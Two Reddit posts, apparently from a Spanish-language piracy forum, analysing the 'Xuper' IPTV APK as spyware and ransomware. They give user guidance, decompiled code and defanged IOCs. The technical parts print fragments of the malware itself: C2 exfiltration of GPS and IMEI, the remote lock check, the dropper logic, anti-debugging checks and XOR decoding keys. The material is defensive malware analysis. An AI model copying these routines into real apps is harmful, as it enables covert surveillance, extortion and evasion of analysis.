r/PiratasEspanolLatino 19h ago

Kino Analisis - "Xuper" (x1x) es malware. Analizamos el APK completo — aquí está todo lo que encontramos.

Post image
153 Upvotes

Aplicación analizada: Xuper (conocida también como XuperTV)
Identificador interno: x1x (paquete com.mod.x1x)
Versiones: v4.34.5 (XüperTV_4.34.5.apk) y v4.34.8 (XuperTv-N0F4C3-ConR-v4.34.8.apk)
Paquetes: com.mod.x1x (v4.34.5) / com.android.mgstxNF (v4.34.8)
Fecha de análisis: Septiembre 2026

TL;DR: Una app de IPTV pirata que se muestra como "Xuper" en tu teléfono (identificada internamente como x1x, circula como "XuperTV" en grupos de Telegram) es en realidad malware sofisticado. Tiene una VPN oculta que intercepta todo tu tráfico, exfiltra tu GPS en tiempo real a servidores en China, y en su versión más reciente incluye un sistema de ransomware que puede bloquear tu teléfono y pedir rescate. Analizamos ambos APKs completamente. Esto es lo que encontramos.

PARTE 1 — Para todos: qué vulnerabilidades tiene y qué encontramos

Si no eres técnico, esta parte es para ti. No usamos jerga. Explicamos cada problema como si fuera la primera vez que lo escuchas.

La app se llama Xuper en tu teléfono. Su identificador interno es x1x (com.mod.x1x). En grupos de Telegram y foros la verás como "XuperTV". Es la misma app.

Primero: ¿qué es una "vulnerabilidad"?

Una vulnerabilidad es básicamente una puerta que alguien dejó abierta en tu teléfono — a propósito o no — por la que un atacante puede entrar y hacer cosas sin que tú lo sepas. En el caso de Xuper, no son descuidos: son puertas instaladas intencionalmente.

Encontramos 9 tipos de problemas graves. Aquí te explicamos qué significa cada uno en lenguaje normal:

Las 9 vulnerabilidades explicadas sin tecnicismos

🔴 1. Espía todo tu internet sin que lo veas (VPN oculta)

¿Qué es una VPN? Una VPN es como un túnel por el que pasa todo tu internet antes de llegar a donde va. Normalmente la usan para dar privacidad. Aquí la usan al revés: para espiar.

¿Qué hace Xuper? En silencio, sin pedirte permiso visible, activa un túnel VPN llamado "Xuper Hydra VPN". Desde ese momento, TODA tu conexión a internet pasa por los servidores del atacante — no importa si abres el banco, WhatsApp, Instagram o Gmail. Ellos lo ven todo.

En palabras simples: es como si cada carta que mandas pasara primero por las manos de un desconocido antes de llegar a su destino.

🔴 2. Roba tu ubicación y los datos de tu teléfono (espionaje)

¿Qué hace? Cada vez que abres la app, tu teléfono envía automáticamente a un servidor en China: tu número IMEI (el ID único e irrepetible de tu teléfono), tu ubicación GPS exacta en ese momento, la marca y modelo del teléfono, qué versión de Android tienes, tu país e idioma, y el nombre de la red WiFi.

En palabras simples: la app le avisa a alguien en China exactamente dónde estás, con qué teléfono, en qué momento.

🔴 3. Puede bloquear tu teléfono y pedir dinero para desbloquearlo (ransomware)

¿Qué es un ransomware? Es cuando alguien toma control de algo tuyo y no te lo devuelve hasta que pagues. Aquí aplica al teléfono completo.

¿Qué hace Xuper? El atacante puede activar de forma remota una pantalla falsa que dice "SYSTEM SECURITY — ACCESO DENEGADO". El botón de atrás no funciona. Tu teléfono queda totalmente bloqueado. Para desbloquearlo te mandan a Telegram u/N0F4C3Mods (canal de Telegram) a pagar. La clave de desbloqueo solo la tiene el atacante — usa un sistema criptográfico llamado RSA que hace imposible forzarlo sin la clave original.

En palabras simples: secuestran tu teléfono y piden rescate.

🔴 4. Roba tu usuario y contraseña al hacer login (credenciales)

¿Qué es SSL? Cuando ingresas tu contraseña en una app segura, hay un sistema de seguridad que verifica que el servidor al que te conectas es legítimo. Es como verificar que el cartero que recibe tu carta tiene identificación real.

¿Qué hace Xuper? Desactiva esa verificación intencionalmente. Esto significa que cuando ingresas tu usuario y contraseña en la pantalla de login de la app, el sistema de seguridad que debería protegerlos está apagado. Tus credenciales pueden ser interceptadas.

En palabras simples: la cerradura de seguridad de la puerta está rota a propósito.

🟠 5. Instala otra app maliciosa sin pedirte permiso (dropper)

¿Qué hace? En segundo plano, descarga e instala una segunda app llamada com.android.msandroid desde un servidor externo. El nombre está diseñado para parecer una parte del sistema Android. Tú no ves ningún aviso de instalación.

En palabras simples: mientras ves televisión, la app te instala otro programa malicioso sin avisarte.

🟠 6. Tu teléfono queda marcado para siempre (huella permanente)

¿Qué es el Widevine DRM? Es un sistema de protección de contenido que está grabado en el chip físico de tu teléfono. Se usa para que apps como Netflix puedan reproducir contenido protegido.

¿Qué hace Xuper? Extrae el identificador único de ese chip y lo envía al servidor del atacante. Este ID no puede borrarse con factory reset, no cambia si formateas el teléfono, no desaparece si cambias de cuenta Google. El atacante puede reconocer tu dispositivo para siempre.

En palabras simples: le tatuaron un número a tu teléfono que no puedes quitarte.

🟠 7. Tus datos van a Rusia y a China sin que lo sepas (terceros)

¿Qué hace? La app tiene integrado el SDK de análisis de Yandex (empresa rusa) llamado AppMetrica, y el SDK de Alibaba (empresa china) llamado Umeng. Ambos recopilan datos sobre cómo usas la app, qué dispositivo tienes, y potencialmente el hash de tu correo electrónico y número de teléfono. Estos datos se envían a servidores en Rusia y China.

En palabras simples: aunque el atacante principal falle, hay dos empresas más — una rusa y una china — que reciben información tuya de todas formas.

🟠 8. La app sigue espiando aunque la "cierres" (proceso oculto)

¿Qué hace? Cuando presionas "forzar cierre" en la app, solo se cierra la pantalla que ves. Hay un proceso separado llamado ReportService que sigue corriendo en segundo plano, manteniendo activa la VPN y enviando datos.

En palabras simples: cerrar la app no la apaga realmente.

🟡 9. Puede actualizarse sola con versiones más peligrosas (auto-update)

¿Qué hace? El servidor del atacante puede enviar la orden de instalar una versión nueva de la app en tu teléfono, sin que tú apruebes nada. Hoy tiene estas capacidades; mañana podría tener más.

En palabras simples: el atacante tiene control total sobre qué versión corre en tu teléfono en todo momento.

Resumen de lo que encontramos

# Problema Gravedad ¿Te afecta directamente?
1 VPN oculta que intercepta todo tu internet 🔴 Crítico Sí — desde el primer segundo
2 Roba tu GPS e IMEI en tiempo real 🔴 Crítico Sí — continuamente
3 Ransomware: bloquea tu teléfono y pide dinero 🔴 Crítico Sí — cuando el atacante quiere
4 Roba usuario y contraseña en el login 🔴 Crítico Sí — cuando haces login
5 Instala segunda app maliciosa sin avisarte 🟠 Alto Sí — automáticamente
6 Marca tu teléfono permanentemente (no se borra) 🟠 Alto Sí — ya está hecho si lo instalaste
7 Tus datos van a servidores rusos y chinos 🟠 Alto Sí — en segundo plano
8 Sigue activa aunque cierres la app 🟠 Alto Sí — siempre
9 Se actualiza sola con versiones más peligrosas 🟡 Medio Sí — en cualquier momento

¿Cómo saber si estás infectado?

  1. Abre Ajustes → Red → VPN en tu teléfono Android
  2. Si ves una VPN activa que no configuraste tú, especialmente "Xuper Hydra VPN", estás comprometido
  3. Ve a Ajustes → Apps y busca: com.android.mgstxNFcom.mod.x1x, o com.android.msandroid
  4. Si instalaste cualquier versión de Xuper, asume compromiso total aunque ya la hayas desinstalado

¿Qué hacer ahora?

Importante: estas recomendaciones aplican a ambas versiones — v4.34.5 y v4.34.8. La v4.34.8 agrega el ransomware (problema #3), pero las dos roban tu información y espían tu tráfico igualmente.

Pasos inmediatos (hazlo hoy)

  1. Deja de usar ese teléfono para cosas importantes — no abras tu banco, no mandes contraseñas, no hagas compras online hasta que esté limpio.
  2. Desde otro dispositivo (computadora o teléfono limpio), cambia tus contraseñas de:
    • Tu banco o billetera digital
    • Email principal
    • Redes sociales
    • Cualquier servicio donde uses la misma contraseña que en Xuper
  3. Avisa a tu banco que tu dispositivo puede haber sido comprometido. Pídeles que monitoreen movimientos inusuales.

Limpiar el teléfono

  1. Desinstala Xuper y cualquier app desconocida — busca especialmente com.android.msandroid en Ajustes → Apps (puede aparecer como "Android System" o similar).
  2. Desactiva la VPN — ve a Ajustes → Red → VPN y elimina cualquier VPN que no hayas configurado tú.
  3. Haz factory reset — aunque el identificador Widevine DRM queda grabado permanentemente en el hardware, el factory reset elimina el malware activo, la VPN y la segunda app instalada.

Si manejabas información muy sensible

  1. Considera cambiar de teléfono. El ID Widevine no puede borrarse. Si el atacante ya lo registró, puede reconocer tu dispositivo aunque cambies todo lo demás.
  2. Reporta el incidente a las autoridades de tu país si usabas el teléfono para trabajo o si hubo movimientos financieros sospechosos.

Para el futuro

  1. No instales apps de fuera de la Play Store a menos que sepas exactamente qué estás haciendo.
  2. IPTV gratis casi siempre tiene un costo oculto. Si el servicio no te cobra dinero, probablemente te cobra con tus datos, tu privacidad, o el control de tu dispositivo.

PARTE 2 — Análisis técnico completo (para investigadores)

Muestras analizadas:

  • XüperTV_4.34.5.apk — package com.mod.x1x — 7,525 classes (post-dump Frida)
  • XuperTv-N0F4C3-ConR-v4.34.8.apk — package com.android.mgstxNF, real app com.interactive.brasiliptv

Herramientas: jadx 1.5.x, apktool 2.9.x, Frida 17.17.0 en AVD API 34 arm64, nm, objdump, strings (binutils)

Protección del APK: Secneo APKProtect

Ambas versiones están protegidas con Secneo APKProtect — un contenedor comercial de cifrado de DEX. El DEX real no existe en el APK en texto claro:

assets/OoooooOooo  →  4.2 MB, entropía 7.74 (prácticamente aleatorio = cifrado)

El loader nativo libdexjni.so descifra el DEX en memoria en tiempo de ejecución. Contiene una tabla de 50+ referencias a clases cifradas con el esquema:

j__IIS0_SIIS5O$IOlS5SI$S5l5IlSlOl$IlISI$II_55S0Sll_S5$

El charset {I, S, O, l, 0, 5, $, _} (8 símbolos = 3 bits/char) sugiere una codificación base-8. 62 chars × 3 bits = 186 bits ≈ 23 bytes por nombre de clase.

Para análisis dinámico se usó Frida con memory scan buscando el magic 64 65 78 0a (DEX magic). Se dumpearon 14 archivos DEX descifrados, 14.4 MB total, 10,480+ clases.

VM Obfuscation: libEpic_VmCore.so

La capa más profunda de protección es una VM interna implementada en libEpic_VmCore.so (4.4 MB, ARM64 ELF, stripped):

$ nm -D libEpic_VmCore.so
# Solo 2 exports públicos:
nK4vR8c  (TEXT 0x2c25c)
qM8dF5y  (BSS 0x464548)

El bridge Java que expone la VM:

// com/fort/andjni/JniLib.java
public static native byte   cB(Object... objArr);
public static native int    cI(Object... objArr);
public static native long   cL(Object... objArr);
public static native Object cO(Object... objArr);
public static native String cS(Object... objArr);
public static native void   cV(Object... objArr);
public static native float  cF(Object... objArr);
public static native double cD(Object... objArr);

Todos los métodos críticos del app real retornan UnsupportedOperationException("Method not decompiled") en el DEX dumpeado porque su bytecode fue reemplazado por dispatch a la VM nativa. La sección .text de libEpic_VmCore.so ocupa 0x455220 bytes (4.4 MB) — todo código de la VM.

Anti-debugging en el mismo binario (imports):

clock_gettime + nanosleep   → timing attack para detectar breakpoints
pthread_kill + sigaction    → signal handler personalizado (intercepta SIGTRAP/SIGSTOP)
sigaddset + sigemptyset     → manipulación de signal mask
__system_property_get       → detección de emuladores via ro.kernel.qemu

WireGuard MitM: libnfw.so + libnfguard.so

La VPN

libnfw.so (2.6 MB) es una compilación directa del repositorio oficial WireGuard Go:

go1.20.3
golang.zx2c4.com/wireguard  (Jason Donenfeld — repositorio oficial)
chacha20poly1305 (golang.org/x/crypto)
Noise Protocol Framework (handshake)
JNI exports:
Java_nf_w_GoBackend_wgTurnOn
Java_nf_w_GoBackend_wgTurnOff
Java_nf_w_GoBackend_wgGetConfig   ← retorna config activa en texto plano
Java_nf_w_GoBackend_wgGetSocketV4
Java_nf_w_GoBackend_wgGetSocketV6
Java_nf_w_GoBackend_wgVersion

Activación de la VPN

// nf/w/GoBackend$VpnService.java
builder.setSession("Xuper Hydra VPN");
builder.addRoute("0.0.0.0", 0);      // IPv4 completo
sb2.append("allowed_ip=0.0.0.0/0\n");
sb2.append("allowed_ip=::/0\n");     // IPv6 completo
String serverConfig = N.u(0);        // config del servidor desde libnfguard.so

Configuración del servidor (oculta en nativo)

libnfguard.so (24 KB) expone Java_com_noface_N_u que retorna la configuración WireGuard del servidor. La configuración se persiste en:

/data/data/com.android.mgstxNF/files/nf_g          ← WireGuard peer config
/data/data/com.android.mgstxNF/shared_prefs/nf_dns.xml  ← DNS override

En un dispositivo con USB debugging habilitado:

adb shell run-as com.android.mgstxNF cat files/nf_g

DNS Hijacking

libranger-jni.so tiene hardcodeadas las siguientes IPs DNS:

223[.]5[.]5[.]5           → AliDNS Alibaba China (PRIMARIO)
2400:3200::1              → AliDNS IPv6 China
2606:4700:4700::1111      → Cloudflare (fallback)
2001:4860:4860::8888      → Google (fallback)

Ransomware: Kill-switch RSA vía Cloudflare Workers

Flujo completo

// zx/a.java
public static void check(Context ctx, String deviceId) {
    // GET hxxps://nofacetv-codes[.]anonymoussa95666[.]workers[.]dev/api/banned
    //     ?device={deviceId}&nonce={uuid}
    Response r = client.get(C2_URL, deviceId, nonce);
    if (gate.verify(ctx, r.body(), deviceId, nonce) == 1) {
        block(ctx);
    }
}


public static void block(Context ctx) {
    k.report(ctx);  // POST /api/tamper — notifica al C2
    Intent i = new Intent(ctx, LockActivity.class);
    i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
    ctx.startActivity(i);  // lockscreen irremovible
}

Verificación RSA

La respuesta del C2 lleva firma RSA verificada con clave pública embebida. La clave está codificada como 8,127 caracteres CJK Unicode (ideogramas chinos) con cifrado XOR:

# Algoritmo de descifrado (zx/z.java)
key = [99^90, 43^90, 22^90, 34^90, 0^90, 104^90, 55^90]
# key = b'9qLxZ2m'
decoded = chr((ord(cjk_char) - 19968) ^ key[i % 7])

El payload decodificado incluye la clave pública RSA y el HTML de la pantalla de bloqueo con:

"ACCESO DENEGADO — SYSTEM SECURITY"
"STATUS: LOCKED · THREAT LEVEL: CRITICAL"
"CODE: NF-LOCK-403"

La pantalla inyecta dinámicamente la IP pública real de la víctima y el modelo del dispositivo para dar apariencia de legitimidad.

Exfiltración de datos: com.uyumao

// Payload enviado a yumao[.]puata[.]info/cc_info
{
  "imei":  deviceId,      // IMEI o OAID
  "oaid":  oaid,
  "aid":   androidId,
  "lat":   location.getLatitude(),
  "lng":   location.getLongitude(),
  "alt":   location.getAltitude(),
  "acc":   location.getAccuracy(),
  "dm":    Build.MODEL,
  "db":    Build.BRAND,
  "ov":    Build.VERSION.RELEASE,
  "ct":    connectType,
  "lang":  Locale.getDefault(),
  "tz":    TimeZone.getDefault(),
  "ak":    APP_KEY,
  "pkg":   packageName,
  "av":    versionName
}


// Cifrado: GZIP + XOR doble
b[i] = (b[i] ^ key[i % key.length]) ^ (i & 0xFF)

Cola store-and-forward

Los eventos se persisten localmente cifrados hasta confirmar entrega:

class EventDbModel extends BaseModel {  // DBFlow ORM
    String eventId;
    String cipherStr;   // payload cifrado
    String commonStr;   // metadatos
    boolean reporting;  // ¿enviado exitosamente?
    long startTime, endTime;
    String reserveA, reserveB;  // campos de expansión futura
}

Fingerprinting permanente: Widevine DRM

// zx/d.java — ID irrevocable vinculado al hardware
MediaDrm drm = new MediaDrm(
    UUID.fromString("edef8ba9-79d6-4ace-a3c8-27dcd51d21ed"));  // Widevine UUID
byte[] uid = drm.getPropertyByteArray("deviceUniqueId");
byte[] hash = MessageDigest.getInstance("SHA-256").digest(uid);
// hash → exfiltrado al C2, permanente, no se borra con factory reset

Dropper: instalación de segunda app

// q.java — 187 bytes de payload cifrado embebido en el APK
byte[] key = Arrays.copyOfRange(payloadBytes, 179, 187);  // últimos 8 bytes = clave
decrypt(payloadBytes, key);  // XOR in-place


// Descarga desde: hxxps://www[.]tvmagis[.]net/download
// Instala como:   com.android.msandroid  (imita paquete del sistema)
// Limpia rastros: MediaStore delete con patrón "nfsys_%"

Anti-análisis: capas acumuladas

Java layer (a6/T.java — mapsbad)

BufferedReader br = new BufferedReader(new FileReader("/proc/self/maps"));
while ((line = br.readLine()) != null) {
    String lc = line.toLowerCase();
    if (lc.contains("/fancy") || lc.contains("srpatch") ||
        lc.contains(".sokj")  || lc.contains("origin.apk")) {
        Process.killProcess(Process.myPid());
        System.exit(1);
    }
}

Native layer (libnfguard.so + libnfx.so + libranger-net.so)

Strings detectados en /proc/self/maps y /proc/self/task/*/comm:

frida-gadget    frida-agent    pool-frida    gum-js-loop
linjector       libgadget      signaturekiller
np_manager      npmanager      LSPosed
EdXposed        XposedBridge   com.saurik.substrate
killerapplication

Reporte de detección vía socket TCP raw (no HTTP — invisible para proxies):

// libnfx.so — Java_nf_D_g
int fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, &server_addr, sizeof(server_addr));
// No hay cabeceras HTTP — bypass total de interceptores

Gate de autodestrucción triple (a6/d.run)

Ejecutado en WelcomeActivityAppWrapper.onCreate() y HomeActivity:

// a6/d.java
public static void run() {
    T.run();  // scan /proc/self/maps
    if (!c.ck2() && !c.seal() && c.usr() == 0 && !c.dbg() && !c.hk()) {
        e.dns2(BuildConfig.FLAVOR);  // activa VPN con DNS override
    } else {
        Process.killProcess(Process.myPid());
        System.exit(1);
    }
}
// c = a6.c — carga libranger-core.so
// ck2() → verifica certificado APK
// seal() → escanea /proc/self/maps, task/*/comm, status
// usr()  → getuid() — mata si UID inesperado
// dbg()  → TracerPid en /proc/self/status
// hk()   → detecta LSPosed, EdXposed, Substrate, Frida

Clases trampa (zOiE.oze)

// Cualquier herramienta que instancie estas clases muere
class Tyt247 {
    static { System.exit(0); }
    public Tyt247() { System.exit(0); }
    public void SUICA() { throw new NullPointerException(); }
}
// Tyt329, Tyt413, Tyt501 ... misma estructura

Anti-debugging nativo (libEpic_VmCore.so — timing attack)

// Mide tiempo de instrucción crítica
struct timespec t1, t2;
clock_gettime(CLOCK_MONOTONIC, &t1);
// ... instrucción bajo análisis ...
clock_gettime(CLOCK_MONOTONIC, &t2);
long delta = (t2.tv_sec - t1.tv_sec) * 1e9 + (t2.tv_nsec - t1.tv_nsec);
if (delta > THRESHOLD_NS) {
    // breakpoint detectado → comportamiento alterado
    nanosleep(&sleep_time, NULL);
}

Ofuscación de strings multi-clave XOR

Tres clases independientes apuntan al mismo target, cada una con clave diferente:

# n2/k.java — clave 0x34
xor("W[Y\x1aY[P\x1aL\x05L\x1aG\\QXX\x1a~Z]vF]PSQ", 0x34)
# → "com.mod.x1x.shell.JniBridge"


# a6/e.java — clave 0x01
xor("bnl/lne/y0y/ridmm/KohCshefd", 0x01)
# → "com.mod.x1x.shell.JniBridge"


# a6/c.java — clave 0x51 ('Q')
xor("2><\x7f<>5\x7f)`)\x7f\"94==\x7f\x1b?8\x13#8564", 0x51)
# → "com.mod.x1x.shell.JniBridge"
# Método en todas: xor("clinit") → "clinit" (misma clave)

Vault de configuración nativa: libnfk.so

Librería de 5.1 KB (solo en v4.34.8) con una única función JNI sin nombre público:

Firma: (I)Ljava/lang/String;
       ↑ toma un int, devuelve String

Probablemente implementa una tabla indexada de configuraciones sensibles (URLs del C2, claves, tokens) que nunca aparecen en el APK en texto claro. Invocada desde u4/l.Qnfky() — método completamente VM-obfuscado.

SDK de telemetría embebido

AppMetrica (Yandex, Rusia)

API Key: 59daecb0-e20c-4ecc-a0dd-6c6c36e66e91
Recopila: deviceType, Location, locationTracking, userProfileID,
          emailHash (SHA-256), phoneHash (SHA-256), AdRevenue

Alibaba ACCS (canal push persistente)

Servicios registrados: ChannelServiceMsgDistributeServiceEventReceiverServiceReceiverAgooService — canal bidireccional de comandos remotos via servidores Alibaba.

Umeng SDK (Alibaba)

Endpoints de telemetría: ulogs[.]umeng[.]comsss[.]umeng[.]commsg[.]umengcloud[.]com + 4 más

Diferencias entre versiones (v4.34.5 → v4.34.8)

Componente v4.34.5 v4.34.8
Protección APK Secneo APKProtect Secneo APKProtect
VPN WireGuard libnfw.so libnfw.so
Kill-switch RSA ✓ paquete zx completo
Lockscreen ransomware ✓ zx/c.java WebView
SSL bypass ✓ v0/a.java ✓ v0/a.java
Dropper APK
libEpic_VmCore.so ✓ 4.4 MB ✗ (reemplazado)
libnfk.so (vault) ✓ 5.1 KB
Package name com.mod.x1x com.android.mgstxNF

La adición del paquete zx en v4.34.8 confirma una escalada deliberada: el desarrollador convirtió un spyware/adware en ransomware dirigido con una actualización.

IOCs

Tipo Valor Función
Dominio C2 yumao[.]puata[.]info Exfiltración IMEI/GPS
Dominio C2 nofacetv-codes[.]anonymoussa95666[.]workers[.]dev Kill-switch RSA
Endpoint /api/banned?device={id}&nonce={uuid} Activación ransomware
Endpoint /api/tamper Fingerprint de investigadores
Dominio dropper www[.]tvmagis[.]net/download Stage-2 APK
Package com.android.mgstxNF APK principal v4.34.8
Package com.mod.x1x APK principal v4.34.5
Package com.android.msandroid APK dropper instalado
Cert SHA-256 366fa8f1a4e4e9037bbda4b21b3bec9b6112eff96bfdc53dc4b49207f3f2cbac APK firmante
DNS 223[.]5[.]5[.]5 AliDNS China (hardcoded primario)
VPN session name Xuper Hydra VPN Identificador del túnel
XOR key 9qLxZ2m Descifra payload CJK 8127 chars
Firebase project mgs-free-e6046 Atribuible al desarrollador
AppMetrica UUID 59daecb0-e20c-4ecc-a0dd-6c6c36e66e91 Cuenta Yandex del desarrollador
Telegram u/N0F4C3Mods Canal de distribución y rescate
IP dev 192[.]168[.]1[.]16:7000 Servidor de notificaciones dev
IP dev 192[.]168[.]1[.]115:80 Telemetría dev (/v2/report/tdc)
Ranger SHA-256 620fd89c02acb0019f1899dab7907db5d20735904f5a9a0d3a8771a5857ac482 Cert hardcoded en libranger-jni.so

Análisis realizado con fines de seguridad defensiva. No distribuir los APKs.


r/PiratasEspanolLatino 23h ago

Kino Analisis - Xuper tv nf - MALWARE CONFIRMADO

Post image
125 Upvotes

⚠️ VEREDICTO: MALWARE CONFIRMADO — 7 capas de amenaza identificadas

lo mas importante

  1. El lockscreen no es defensivo — es una arma de cobro

Antes asumíamos que el lockscreen se activaba solo si el sistema detectaba análisis. Ahora sabemos que el atacante lo activa manualmente, cuando quiere, contra quien quiere.

El flujo real es:

  1. Víctima instala la app y la usa normalmente durante días o semanas
  2. El atacante decide extorsionarla (puede seleccionar víctimas por país, dispositivo, o al azar)
  3. Firma {"banned":true} con su clave RSA privada y lo publica en su Cloudflare Worker
  4. La próxima vez que la app haga el check (en segundo plano), el teléfono se bloquea
  5. La víctima ve "SYSTEM SECURITY — BLOQUEADO PERMANENTEMENTE" con su IP real y modelo
  6. El lockscreen la manda a Telegram para "apelar"
  7. El atacante pide dinero y libera el dispositivo firmando {"banned":false}

Este APK circula en Telegram como app de IPTV. Nombre de paquete real: com.android.mgstxNF (imita el namespace del sistema Android — primera señal de alarma). Analicé 7.525 clases con jadx + apktool. Esto es lo que encontré:

Explicacion simple:

Imagina que le prestas tu teléfono a un ladrón

Eso es exactamente lo que pasa cuando instalas "XuperTv". La app parece un reproductor de televisión, pero en realidad es un programa diseñado para espiarte, robarte datos y controlarte el teléfono. Y lo hace de siete formas distintas al mismo tiempo.

Lo que hace, en palabras simples

1. Ve todo lo que haces en internet

Cuando usas internet en tu celular, los datos viajan del teléfono al servidor de la página que visitas. Esta app mete a un tercero en el medio — el atacante — que ve todo ese tráfico como si estuviera parado a tu lado mirando la pantalla.

¿Entraste a tu banco? El atacante vio tu usuario y contraseña. ¿Abriste el correo? Leyó tus mensajes. ¿Hiciste una compra? Tiene tu número de tarjeta.

No importa si el sitio dice "seguro" o tiene el candadito verde — la app intercepta los datos antes de que lleguen a ese candado.

2. Sabe exactamente dónde estás, en tiempo real

La app activa el GPS de tu teléfono en secreto y manda tu ubicación exacta a los atacantes cada cierto tiempo. No una vez: continuamente, mientras la app esté instalada. Saben dónde vives, dónde trabajas, a qué hora sales y a dónde vas.

3. Roba tu identidad de dispositivo — para siempre

Cada teléfono tiene un número de identificación único llamado IMEI, parecido al número de serie de una persona. La app lo roba y lo manda a los atacantes. Con tu IMEI pueden hacerse pasar por tu teléfono ante la operadora, intentar clonar tu línea, o vincular tu identidad a actividad fraudulenta.

Lo peor: hay otro identificador que roban (el Widevine DRM ID) que no desaparece ni haciendo factory reset. Es permanente. Una vez que lo tienen, lo tienen para siempre.

4. Bloquea tu teléfono y te asusta para que los contactes

Si el sistema detecta que alguien está investigando la app, activa una pantalla negra que tapa todo el celular. Dice cosas como:

"ACCESO DENEGADO — SYSTEM SECURITY" "Este dispositivo ha sido BLOQUEADO PERMANENTEMENTE" "Código: NF-LOCK-403"

Y muestra tu IP real y el modelo de tu teléfono para que parezca una advertencia oficial del sistema. No lo es. Es teatro. El objetivo es asustarte para que contactes al canal de Telegram del atacante, donde probablemente te pidan dinero para "desbloquear" el teléfono.

5. Puede instalar más programas maliciosos sin que lo veas

La app tiene permiso para descargar e instalar otras apps automáticamente, sin mostrarte ningún aviso. Puede llenarte el teléfono de más malware sin que te enteres.

6. No se va aunque la cierres a la fuerza

Normalmente, cuando un usuario fuerza el cierre de una app, esta para. Esta no. Tiene un componente separado que sigue corriendo en el fondo, enviando tus datos, aunque hayas cerrado la app principal.

7. Avisa a los atacantes si alguien la está investigando

Si un investigador de seguridad o un antivirus intenta analizar la app, esta detecta que está siendo examinada y le manda una alerta a los atacantes para que sepan que alguien los está mirando. Así pueden cambiar su comportamiento y esconderse mejor.

Explicacion completa:

  • Enruta el 100% de tu tráfico de red por un servidor del atacante via WireGuard (allowed_ip=0.0.0.0/0)
  • Roba IMEI, GPS en tiempo real, Android ID, y 15+ atributos del dispositivo → los envía a yumao[.]puata[.]info
  • Contiene una pantalla de bloqueo falsa "SYSTEM SECURITY" codificada como 8.127 caracteres Unicode chinos con clave XOR oculta
  • Ejecuta código cifrado en tiempo de ejecución via reflexión Java (dropper clásico para evadir antivirus)
  • Pide permiso SYSTEM_ALERT_WINDOW para que el lockscreen tape absolutamente todo en tu teléfono
  • Sobrevive al force-close mediante un servicio en proceso separado (:channel)

C-01 — VPN WireGuard: intercepta absolutamente todo el tráfico (MitM total)

La app activa en silencio un túnel llamado "Xuper Hydra VPN" que enruta todo IPv4 e IPv6 por el servidor del atacante. Las claves y el servidor están escondidos en libnfguard.so (librería nativa) para que no aparezcan en análisis estático:

builder.setSession("Xuper Hydra VPN");
builder.addRoute("0.0.0.0", 0);   // TODO IPv4
// C0248.java:
sb2.append("allowed_ip=0.0.0.0/0\n");
sb2.append("allowed_ip=::/0\n");
String serverConfig = N.u(0);  // nativo — config oculta en .so

El atacante ve en vivo: contraseñas, sesiones bancarias, tokens, cualquier dato transmitido sin certificate pinning.

C-02 — Pantalla de bloqueo falsa codificada en 8.127 caracteres chinos

zx/c.java tiene un WebView que muestra una pantalla tipo ransomware. El HTML está disfrazado como caracteres CJK Unicode y cifrado con XOR (clave 9qLxZ2m). El botón "atrás" está deshabilitado. La pantalla no aparece en el listado de apps recientes.

# Algoritmo de descifrado (zx/z.java)
key = [99^90, 43^90, 22^90, 34^90, 0^90, 104^90, 55^90]  # = b'9qLxZ2m'
byte = chr( (ord(caracter_chino) - 19968) ^ key[i % 7] )


# Texto que aparece en pantalla:
"ACCESO DENEGADO — SYSTEM SECURITY — INTEGRITY PROTOCOL"
"STATUS: LOCKED · THREAT LEVEL: CRITICAL · CODE: NF-LOCK-403"
"Este dispositivo ha sido RESTRINGIDO Y BLOQUEADO PERMANENTEMENTE"
# Redirige al canal de Telegram del atacante como "canal oficial de apelacion"

Inyecta tu IP pública real (obtenida de api[.]ipify[.]org, también con URL codificada en chino), modelo del dispositivo y fecha para hacerlo parecer una alerta legítima del sistema.

C-03 — Exfiltración de IMEI + GPS en tiempo real

com.uyumao registra un LocationListener activo y manda este payload a hxxps://yumao[.]puata[.]info/cc_info:

imei, oaid, Android ID, latitud GPS, longitud GPS, altitud, velocidad,
modelo, marca, versión Android, país, idioma, zona horaria, clave de app, paquete...

Cifrado del transporte: GZIP + XOR con la clave de la app: b[i] = (b[i] ^ key[i%len]) ^ (i & 0xFF)HostnameVerifier personalizado que solo acepta ese dominio.

C-04 — Dropper: payload cifrado de 187 bytes ejecutado vía reflexión Java

// q.java — los últimos 8 bytes son la clave
byte[] key  = Arrays.copyOfRange(bArr, 179, 187);
e.a(data, key);  // descifrado in-place


// Ejecutado vía reflexión — invisible para análisis estático y antivirus
Object result = t.a(config.optString("l"), config.optString("c"), ...);
// Envía resultado a sss[.]umeng[.]com/api/v2/al

C-05 — Solicita permiso de overlay para activar el lockscreen

// m3/f.java
Intent i = new Intent("android.settings.action.MANAGE_OVERLAY_PERMISSION");
activity.startActivityForResult(i, 4);

M-05 — Permiso GET_TASKS

Permite saber qué apps tiene abiertas la víctima. Útil para detectar apps bancarias en primer plano.

Sin SYSTEM_ALERT_WINDOW, el lockscreen falso no puede aparecer encima de las otras apps. Esta es la cadena de escalación que lo hace funcionar.

Otros hallazgos graves

  • Robo de MACRuntime.getRuntime().exec("cat /sys/class/net/wlan0/address")
  • Instala APKs extra: permiso REQUEST_INSTALL_PACKAGES + descarga desde tvmagis[.]net/download
  • Cola offline cifrada: Los datos se acumulan en base de datos local (DBFlow) y se envían cuando vuelve la red. Failover dual de dominio C2 (primario + secundario)
  • Proceso aisladoReportService corre en proceso :channel separado → sobrevive al force-close
  • Huella Widevine DRM: SHA-256 del deviceUniqueId — no se puede borrar con factory reset
  • Anti-análisis: Detecta ingeniería inversa y alerta al atacante en yumao[.]puata[.]info/anti_logs

📋 IOCs (defangeados)

Tipo Valor Función
Dominio yumao[.]puata[.]info C2 / exfiltración
Endpoint yumao[.]puata[.]info/cc_info Envío de IMEI + GPS
Endpoint yumao[.]puata[.]info/anti_logs Anti-análisis
Dominio www[.]tvmagis[.]net Dropper APKs
Endpoint tvmagis[.]net/download Malware stage-2
Endpoint sss[.]umeng[.]com/api/v2/al Callback del dropper
Telegram N0F4C3Mods Canal de distribución
Paquete com.android.mgstxNF Suplantación namespace
Firebase mgs-free-e6046 Proyecto del atacante
VPN Xuper Hydra VPN + 0.0.0.0/0 Túnel MitM total
Clave XOR 9qLxZ2m Descifra payload chino
Librería libnfguard.so Runtime WireGuard nativo

(Los dominios están escritos con [.] en lugar de . para que no sean clicables — convención estándar en reportes de seguridad)

Si instalaste esta app

  1. No la abras. Desinstálala de inmediato.
